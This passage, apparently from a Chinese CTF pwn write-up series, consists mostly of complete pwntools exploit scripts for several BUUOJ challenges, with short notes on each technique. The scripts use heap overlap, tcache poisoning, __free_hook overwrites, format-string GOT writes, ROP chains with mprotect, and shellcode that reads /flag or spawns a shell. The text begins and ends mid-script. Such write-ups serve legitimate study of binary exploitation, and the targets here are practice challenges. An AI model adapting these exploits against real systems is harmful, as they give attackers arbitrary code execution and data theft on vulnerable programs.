    add(0xc0,p64(system))
    add(0xd0,'/bin/sh\x00')
    free(6)
    log.success("libc: " + hex(libc))
    log.success("system: " + hex(system))
    log.success("__free_hook: " + hex(__free_hook))
    log.success("heap_base: " + hex(heap_base))
    if(debug == 1):
        log.success("pid: " + str(sh.pid))
    sh.interactive()
if __name__ == "__main__":
    pwn("node2.buuoj.cn.wetolink.com",28899,0)

0x67 roarctf_2019_realloc_magic

realloc可以实现堆重叠，然后覆盖fd低位为tcache头，然后控制到tcache头，造出libc地址，然后覆盖低位地址为stdout，然后覆盖数据实现libc leak，然后执行magic清空指针，然后申请堆块回到tcache头，通过tcache attack控制__free_hook - 8的地址数据为/bin/sh\x00，然后向下覆盖__free_hook地址为system，然后直接free就可以拿到shell。

非预期：另外可以使用超大堆块漏洞来实现控制tcache头，但是方法较上面方法复杂，且使用存在使用条件（目标靶机必须要有足够大的内存，如果靶机内存很小，还有另一种非预期解，此方法针对可以申请大内存块的靶机），所以我一开始使用非预期解打BUUOJ平台的时候，发现打不通，但是本地却可以打通，应该也是内存申请过大的原因导致的。

Ubuntu18

常规解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("roarctf_2019_realloc_magic")
lib = 0
sh = 0
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./roarctf_2019_realloc_magic")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    def realloc(size,content):
        sh.sendlineafter(">>","1")
        sh.sendlineafter("?",str(size))
        sh.sendafter("?",content)
    def free():
        sh.sendlineafter(">>","2")
    def magic():
        sh.sendlineafter(">>","666")
    def Debug():
        if(debug == 1):
            log.success("pid: " + str(sh.pid))
    realloc(0,'')
    realloc(0x100,'\x11' * 0x100)
    free()
    realloc(0x48,'\x12' * 0x48)
    realloc(0,'')
    realloc(0xB8,'\x13' * 0xB8)
    free()
    realloc(0,'')
    realloc(0x200,'\x14' * 0x200)
    realloc(0,'')
    payload = '\x15' * 0x48 + p64(0xC1) + p16(0x7010)
    realloc(0x100,payload)
    realloc(0,'')
    realloc(0xb8,'\x16' * 0xb8)
    realloc(0x38,'\x17' * 0x38)
    realloc(0,"")
    payload  = p64(0xffffffffffffffff - 7) * 8
    payload += p64(0) * 6 + p64(0x7010)
    realloc(0xb8,payload)
    payload = p64(0)  
    realloc(0x68,payload)
    payload = p64(0) * 8
    payload += p64(0) * 6 + p16(0x7758)
    realloc(0x168,payload)
    realloc(0,'')
    payload = p64(0) + p64(0xfbad1800) + p64(0) * 3 + chr(0)
    realloc(0x78,payload)
    sh.recvuntil(payload[0:len(payload)-1],timeout = 1)
    libc = u64(sh.recv(8)) - 128 - lib.symbols['_IO_2_1_stderr_']
    system = libc +lib.symbols['system']
    binsh = libc +lib.search("/bin/sh\x00").next()
    __free_hook = libc + lib.symbols['__free_hook']
    __malloc_hook = libc + lib.symbols['__malloc_hook']
    magic()
    payload  = p64(0) * 8
    payload += p64(__free_hook - 8)
    realloc(0x168,payload)
    realloc(0,'')
    realloc(18,'/bin/sh\x00' + p64(system))
    free()
    log.success("system: " + hex(system))
    log.success("binsh: " + hex(binsh))
    log.success("__free_hook: " + hex(__free_hook))
    log.success("__malloc_hook: " + hex(__malloc_hook))    
    log.success("libc: " + hex(libc))
    Debug()
    sh.interactive()
    return True
if __name__ == "__main__":
    #pwn("node3.buuoj.cn",28913,1)
    while(1):
        try:

            if(pwn("node3.buuoj.cn",28164,0) == True):
                break
        except EOFError:
            sh.close()
            continue

Ubuntu18

非常规解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("roarctf_2019_realloc_magic")
lib = 0
sh = 0
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./roarctf_2019_realloc_magic")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    def realloc(size,content):
        sh.sendlineafter(">>","1")
        sh.sendlineafter("?",str(size))
        sh.sendafter("?",content)
    def free():
        sh.sendlineafter(">>","2")
    def magic():
        sh.sendlineafter(">>","666")
    def Debug():
        if(debug == 1):
            log.success("pid: " + str(sh.pid))
        input()
            #x/5gx 0x555555554000+0x202058
    max_size = -0x1
    realloc(0x80,'\x11' * 0x80)
    free()
    realloc(0x100,'\x12' * 0x100)
    free()
    realloc(0,'')
    realloc(0x80,p16(0x7010))
    realloc(max_size,'\n')
    realloc(0,'')
    realloc(0x110,p16(0x7010))
    realloc(0,'')
    realloc(0x100,p16(0x7010))
    realloc(max_size,'\n')
    #Debug()
    realloc(0,'')
    realloc(0x80,p16(0x7010))
    realloc(max_size,'\n')
    payload  = p64(0xffffffffffffffff - 7) * 8
    payload += p64(0) * 16 + p16(0x7010)
    realloc(0x100,payload)
    free()
    realloc(0x80,'\n')
    payload  = p64(0) * 8
    payload += p64(0) * 11 + p16(0x7758)# + chr(0xdd)
    realloc(0x200,payload)
    realloc(0,'')
    payload = p64(0) + p64(0xfbad1800) + p64(0) * 3 + chr(0)
    realloc(0xc0,payload)
    sh.recvuntil(payload[0:len(payload)-1],timeout = 3)
    libc = u64(sh.recv(8)) - 128 - lib.symbols['_IO_2_1_stderr_']
    system = libc +lib.symbols['system']
    binsh = libc +lib.search("/bin/sh\x00").next()
    __free_hook = libc + lib.symbols['__free_hook']
    __malloc_hook = libc + lib.symbols['__malloc_hook']
    magic()
    payload = p64(0) * 8
    payload += p64(__free_hook - 8)
    realloc(0x118,payload)
    realloc(0,'') 
    realloc(0x18,"/bin/sh\x00" + p64(system))
    free()
    log.success("system: " + hex(system))
    log.success("binsh: " + hex(binsh))
    log.success("__free_hook: " + hex(__free_hook))
    log.success("__malloc_hook: " + hex(__malloc_hook))    
    log.success("libc: " + hex(libc))
    sh.interactive()
    return True
if __name__ == "__main__":
    #pwn("node3.buuoj.cn",28913,0)
    while(1):
        try:
            if(pwn("node3.buuoj.cn",28460,0) == True):#"node3.buuoj.cn",28460
                break
        except EOFError:
            sh.close()
            continue

0x68 roarctf_2019_easy_pwn

堆块重叠即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("roarctf_2019_easy_pwn")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./roarctf_2019_easy_pwn")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23.so")
	def add(size):
		sh.sendlineafter(":","1")
		sh.sendlineafter(":",str(size))
	def free(idx):
		sh.sendlineafter(":","3")
		sh.sendlineafter(":",str(idx))
	def edit(idx,size,content):
		sh.sendlineafter(":","2")
		sh.sendlineafter(":",str(idx))
		sh.sendlineafter(":",str(size))
		sh.sendafter(":",content)
	def show(idx):
		sh.sendlineafter(":","4")#x/50gx 0x202040 + 
		sh.sendlineafter(":",str(idx))
	def Debug():
		if(debug == 1):
			gdb_script = 'x/50gx &__free_hook - 0x10'
			gdb.attach(sh,gdb_script)
	add(0x18)
	add(0x18)	
	add(0x88)
	add(0x18)
	edit(0,(0x18 + 10),'a' * 0x18 + "\x91")
	payload = '\x13' * 0x68 + p64(0x21)
	payload = payload.ljust(0x88,'\x13')
	edit(2,0x88,payload)
	free(1)
	add(0x88)
	payload = p64(0) * 3 + p64(0x91)
	payload = payload.ljust(0x88,'\x11')
	edit(1,0x88,payload)
	free(2)
	payload = 'a' * 0x20
	edit(1,len(payload),payload)
	show(1)
	libc = u64(sh.recvuntil('\x7f',False)[-6:].ljust(8,'\x00')) - 88 - lib.symbols['__malloc_hook'] - 0x10
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	payload = p64(0) * 3 + p64(0x91) + p64(0) + p64(__free_hook - 0x50 + 3)
	edit(1,len(payload),payload)
	add(0x88)
	payload = p64(0) * 3 + p64(0x71)
	edit(1,len(payload),payload)
	payload = ''
	payload = payload.ljust(0x68,'\x00')
	payload += p64(0x21)
	edit(2,len(payload),payload)
	free(2)
	payload = p64(0) * 3 + p64(0x71) + p64(__free_hook - 0x40)
	edit(1,len(payload),payload)
	add(0x68)
	add(0x68)
	payload = p64(0) * 6 + p64(system)
	edit(4,len(payload),payload)
	payload = '/bin/sh\x00'
	edit(0,len(payload),payload)
	free(0)
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",28092,0)

0x69 [极客大挑战 2019]Not Bad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("bad")
lib = 0
sh = 0
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./bad")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    payload = 'a' * 9
    payload += p64(0x400A34)
    payload = payload.ljust(0x20,'a')
    payload += p64(0xc3ca29c429485e55)
    payload += p64(0x4009EE) 
    sh.sendlineafter("fun!\n",payload)
    sleep(0.2)
    pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
    pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
    payload = 'a' * 8
    payload += p64(pop_rdi_ret)
    payload += p64(0)
    payload += p64(pop_rsi_r15_ret)
    payload += p64(elf.bss()) + p64(0)
    payload += p64(elf.plt['read'])
    payload += p64(elf.bss())
    sh.sendline(payload)
    sleep(0.2)
    shellcode = shellcraft.open("/flag")
    shellcode += shellcraft.read(3,elf.bss() + 0x800,0x30)
    shellcode += shellcraft.write(1,elf.bss() + 0x800,0x30)
    sh.sendline(asm(shellcode))
    sh.interactive()
if __name__ == "__main__":
    pwn("node3.buuoj.cn",28235,0)

0x70 axb_2019_fmt32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
##coding=utf8
from pwn import *
context.log_level = 'debug'
ip = "47.108.135.45"
port = 20023
sh = remote(ip, port)
lib = ELF("libc.so.6")
'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL
0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL
0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''
sh.sendlineafter('me:',"%9$sA" + p32(0x804A014))
sh.recvuntil('Repeater:')
printf_got = u32(sh.recv(4))
libc = printf_got - 0x049020
system = libc + 0x03a940
free = libc + lib.symbols['free']
__free_hook = libc + lib.symbols['__free_hook']
sh.sendlineafter('me:',"%9$sA" + p32(0x804A014 + 4 * 5))
sh.recvuntil('Repeater:')
__libc_start_main = u32(sh.recv(4))
sh.sendlineafter('me:',"%9$sA" + p32(0x804A030))
sh.recvuntil('Repeater:')
sprintf = u32(sh.recv(4))
one_gadget = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
log.success("sprintf: " + hex(sprintf))
log.success("__libc_start_main: " + hex(__libc_start_main))
log.success("printf: " + hex(printf_got))
log.success("system: " + hex(system))
log.success("libc: " + hex(libc))
payload  ='aaaaa'
payload += fmtstr_payload(9,{0x804A014:one_gadget[0] + libc},write_size = "byte",numbwritten = 0xe)
sh.sendlineafter("me:",payload)
sh.interactive()

0x71 axb_2019_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn1")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./pwn1")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23.so")
	pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
	pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
	def add(idx,size,content):
		sh.sendlineafter(":","1")
		sh.sendlineafter(":",str(idx))
		sh.sendlineafter(":",str(size))
		sh.sendlineafter(":",content)
	def edit(idx,content):
		sh.sendlineafter(":","4")
		sh.sendlineafter(":",str(idx))
		sh.sendlineafter(":",content)
	def free(idx):
		sh.sendlineafter(":","2")
		sh.sendlineafter(":",str(idx))
	chunk_list = 0x202060
	payload = '%14$pAA%2$pB'
	sh.sendlineafter(":",payload)
	sh.recvuntil("Hello, ")
	pie = int(sh.recvuntil("AA",True),16) - (0x55d7eaef1200 - 0x55d7eaef0000)
	libc = int(sh.recvuntil("B",True),16) - lib.symbols['__malloc_initialize_hook'] + 0x30
	__free_hook = libc + lib.symbols['__free_hook']
	system = libc + lib.symbols['system']
	add(0,0x88,'\x11' * 0x87)
	add(1,0xF8,'\x12' * 0xF7)
	add(2,0x18,'\x13' * 0x17)
	free(0)
	payload = p64(0) + p64(0x81) + p64(pie + chunk_list - 0x18) + p64(pie + chunk_list - 0x10)
	payload = payload.ljust(0x80,'\x00')
	payload += p64(0x80)
	add(0,0x88,payload)
	free(1)
	payload = p64(0) * 3 + p64(__free_hook - 8) + p64(0x100)
	payload += p64(__free_hook - 8) + p64(0x100)
	edit(0,payload)
	edit(0,'/bin/sh\x00' + p64(system))
	free(0)
        log.success("pie: " + hex(pie))
        log.success("libc: " + hex(libc))
        log.success("chunk_list: " + hex(pie + chunk_list))
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",28825,0)

0x72 axb_2019_fmt64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
ip = "47.108.135.45"
port = 20023
sh = remote(ip, port)
lib = ELF("libc.so.6")
sprintf_got = 0x601058
payload = '%9$sAAAA' + p64(sprintf_got)
sh.sendlineafter(":",payload)
sprintf = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc = sprintf - lib.symbols['sprintf']
system = libc + lib.symbols['system']
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
system = libc + one_gadget[0]
payload = ''
payload += '%' + str((system % 0x10000) - 9) + 'c%12$hn'
payload += '%' + str(((system >> 16) % 0x10000) - (system % 0x10000)) + 'c%13$hn'
payload += '%12$s'
payload = payload.ljust(0x20,'\x00')
payload += p64(sprintf_got) + p64(sprintf_got + 2)
sh.sendlineafter(":",payload)
addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
sh.interactive()

0x73 bytectf_2019_vip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("vip")
sh = 0
lib = 0
def vip():
    sh.sendlineafter(":","6")
    sh.sendafter(':',flat('a'*0x20, 
    0x0000000000000020, 0x0000010101000015, 
    0x0005000000000006, 0x7fff000000000006,))
def add(idx):
    sh.recvuntil("Your choice:")
    sh.sendline("1")
    sh.sendlineafter(":",str(idx))
def free(idx):
    sh.sendlineafter("Your choice:","3")
    sh.sendlineafter(":",str(idx))
def show(idx):
    sh.sendlineafter("Your choice:","2")
    sh.sendlineafter(":",str(idx))
def edit(idx,size,content):
    sh.recvuntil("Your choice:")
    sh.sendline("4")
    sh.recvuntil(":")
    sh.sendline(str(idx))
    sh.sendlineafter(":",str(size))
    sh.recvuntil("Content:")
    sh.send(content)
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./vip")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("libc-2.27.so")
    chunk_list = 0x404100
    vip()
    add(0)
    add(1)
    add(5)
    add(6)
    add(10)
    free(6)
    free(1)
    payload = 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['free'])
    edit(0,0x70,payload)
    add(1)
    add(2)
    show(2)
    free_addr = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
    libc = free_addr - lib.symbols['free']
    system = libc + lib.symbols['system']
    execve = libc + lib.symbols['execve']
    printf = libc + lib.symbols['printf']
    mprotect = libc + lib.symbols['mprotect']
    edit(2,9,p64(printf))
    edit(10,8,"%8$p\x00")
    free(10)
    sh.recvuntil("0x")
    stack = int(sh.recvuntil("Done!",True),16) - 8 * 13
    payload  = p64(libc + lib.symbols['free'])
    payload += p64(libc + lib.symbols['puts'])
    payload += p64(libc + lib.symbols['__stack_chk_fail'])
    payload += p64(libc + lib.symbols['printf'])
    payload += p64(libc + lib.symbols['memset'])
    payload += p64(libc + lib.symbols['read'])
    payload += p64(libc + lib.symbols['prctl'])
    payload += p64(libc + lib.symbols['malloc'])
    payload += p64(libc + lib.symbols['setvbuf'])
    payload += p64(libc + lib.symbols['open'])
    payload += p64(libc + lib.symbols['perror'])
    payload += p64(libc + lib.symbols['atoi'])
    payload += p64(libc + lib.symbols['scanf'])
    payload += p64(libc + lib.symbols['exit'])
    payload = payload.ljust(0x4040a0 - 0x404018,'\x00')
    payload += p64(libc + lib.symbols['_IO_2_1_stdout_']) + p64(0)
    payload += p64(libc + lib.symbols['_IO_2_1_stdin_']) + p64(0)
    payload += p64(libc + lib.symbols['_IO_2_1_stderr_'])
    payload += p64(0) * 7
    payload += p64(stack)
    edit(2,0x500,payload)
    pop_rdx_ret = 0x1b96 + libc
    pop_rdi_ret = 0x4018fb
    pop_rsi_r15_ret = 0x4018f9
    base = 0x404000
    payload = p64(pop_rdi_ret) + p64(base)
    payload += p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0)
    payload += p64(pop_rdx_ret) + p64(7)
    payload += p64(mprotect)
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_r15_ret) + p64(base + 0x800) + p64(0)
    payload += p64(pop_rdx_ret) + p64(0x500)
    payload += p64(libc + lib.symbols['read'])
    payload += p64(base + 0x800)
    edit(0,0x500,payload)
    sleep(0.2)
    payload = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01\x0f\x05j\x01_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01j\x01X\x0f\x05'
    sh.sendline(payload)
    log.success("libc: " + hex(libc))
    log.success("stack: " + hex(stack))
    log.success("system: " + hex(system))
    if(debug == 1):
        log.success("pid: " + str(sh.pid))
    sh.interactive()
if __name__ == "__main__":
    pwn("node3.buuoj.cn",25165,0)

0x74 SWPUCTF_2019_login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
from printf_buf_not_in_stack import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("login")
lib = 0
def pwn(ip,port,debug):
    sh = null
    global lib
    if(debug == 1):
        sh = process("./login")
        lib = ELF("/lib/i386-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("libc-2.27.so")
    sh.sendlineafter(":","a")
    payload = '%6$pAA%15$pBB\x00'
    sh.sendlineafter(":",payload)
    sh.recvuntil("0x")
    ebp = int(sh.recvuntil("AA",True),16)
    target_addr = ebp - (0xffe54918 - 0xffe5490c)
    libc = int(sh.recvuntil("BB",True),16) - lib.symbols['__libc_start_main'] - 241
    system = libc + lib.symbols['system']
    binsh = libc + lib.search("/bin/sh\x00").next()
    def inputMsg(msg):
        sh.sendlineafter("!",msg)
    ebp1_offset = 6
    ebp2_offset = 10
    written_size = 0
    offset = 0
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = 0x8d29
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    offset = 2
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = 0x804
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    offset = 16
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = system % 0x10000
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    offset = 18
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = system >> 16
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    offset = 20
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = 0xbeef
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    offset = 22
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = 0xdead
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    offset = 24
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = binsh % 0x10000
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    offset = 26
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(ebp1_offset) + "$hn\x00"
    inputMsg(payload)
    oneByte = binsh >> 16
    payload = "%" + str(oneByte - written_size) + "c%" + str(ebp2_offset) + "$hn\x00"
    inputMsg(payload)
    inputMsg("wllmmllw")
    print getCode("inputMsg")
    log.success("ebp: " + hex(ebp))
    log.success("target_addr: " + hex(target_addr))
    log.success("libc: " + hex(libc))
    log.success("system: " + hex(system))
    log.success("binsh: " + hex(binsh))
    sh.interactive()
if __name__ == "__main__":
    pwn("node3.buuoj.cn",28300,0)

0x75 SWPUCTF_2019_p1KkHeap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn")
lib = 0
sh = 0
def add(size):
    sh.sendlineafter(":","1")
    sh.sendlineafter(":",str(size))
def edit(idx,content):
    sh.sendlineafter(":","3")
    sh.sendlineafter(":",str(idx))
    sh.sendafter(":",content)
def free(idx):
    sh.sendlineafter(":","4")
    sh.sendlineafter(":",str(idx))
def show(idx):
    sh.sendlineafter(":","2")
    sh.sendlineafter(":",str(idx))
def backdoor(content):
    sh.sendlineafter(":","666")
    sh.sendlineafter("(y or n)","y")
    sh.sendafter("start",content)
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./pwn")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("libc.so.6")
    add(0x90)
    free(0)
    free(0)
    show(0)
    sh.recvuntil("content: ")
    heap_base = u64(sh.recvuntil("\n",True).ljust(8,"\x00")) - 0x260
    add(0x90)
    edit(1,p64(heap_base + 0x10))
    add(0x90)
    add(0x90)
    payload = p64(0) + p64(0xffffffffffffffff) * 7 + p64(0) + p64(0x201) + p64(0) * 6 + p64(heap_base + 0x60)
    edit(3,payload)
    add(0x90)
    free(4)
    show(4)
    sh.recvuntil("content: ")
    libc = u64(sh.recvuntil("\x7f",False).ljust(8,'\x00')) - 96 - 0x10 - lib.symbols['__malloc_hook']
    __malloc_hook = libc + lib.symbols['__malloc_hook']
    payload = p64(0) + p64(0xffffffffffffffff) * 7 + p64(0) + p64(0x201) + p64(0) * 6 + p64(0x66660000) + p64(__malloc_hook)
    edit(3,payload)
    add(0x90)
    payload = shellcraft.open("/flag")
    payload += shellcraft.read(3,0x66660100,0x30)
    payload += shellcraft.write(1,0x66660100,0x30)
    edit(5,asm(payload))
    add(0xa0)
    edit(6,p64(0x66660000))
    add(0x90)
    log.success("heap_base: " + hex(heap_base))
    log.success("libc: " + hex(libc))
    if(debug == 1):
        log.success("pid: " + str(sh.pid))
    sh.interactive()
if __name__ == "__main__":
    pwn("node3.buuoj.cn",26426,0)

0x76 axb_2019_final_blindHeap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level = "debug"
lib = ELF("libc-2.23.so")
sh = remote("node3.buuoj.cn",26738)
def add(des_size,des,name_size,name):
    sh.sendlineafter("Your choice:","1")
    sh.sendlineafter("please tell me the desrcription's size",str(name_size))
    sh.sendlineafter("please tell me the desrcript of commodity.",str(name))
    sh.sendlineafter("please tell me the commodity-name's size.",str(des_size))
    sh.sendlineafter("please tell me the commodity-name.",str(des))
def inputName(content):
    sh.sendlineafter("your name?",content)
def modifyName(content):
    sh.sendlineafter("Your choice:","6")
    sh.sendlineafter("Change your name(1~32):",content)
def free():
    sh.sendlineafter("Your choice:","4")
def edit(idx,name,des):
    sh.sendlineafter("choice:","2")
    sh.sendlineafter("index is",str(idx))
    sh.sendlineafter("name",name)
    sh.sendlineafter("desrc",des)
def empty(idx):
    sh.sendlineafter("choice:","5")
    sh.sendlineafter("just one","2")
    sh.sendlineafter("index is",str(idx))
def showall():
    sh.sendlineafter("choice:","3")
    sh.sendlineafter("all","1")
inputName("b" *32)
add(0x80,'\x11', 0x80,'\x12' * 0x80)
sh.sendlineafter("Your choice:","6")
sh.recvuntil("b" * 32)
heap_base = (u64(sh.recvuntil("\x2e\n",True).ljust(8,'\x00')) >> 12) << 12
log.success("heap_base: " + hex(heap_base))
sh.sendline("a" * 31)
free()
payload = 'a' * 96
payload += p64(0x600)
payload += p64(heap_base + 0x130 + 0x100 - 0x18 + 0x8 + 0x8)
payload += p64(0x800)
payload += p64(heap_base + 0x10)
add(0x80,'\x13', 0x80,payload)
add(0x80,'\x14', 0x80,'\x15' * 0x80)
add(0x80,'\x16', 0x80,'\x17' * 0x80)
modifyName('a' * 32)
empty(1)
showall()
main_arena = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
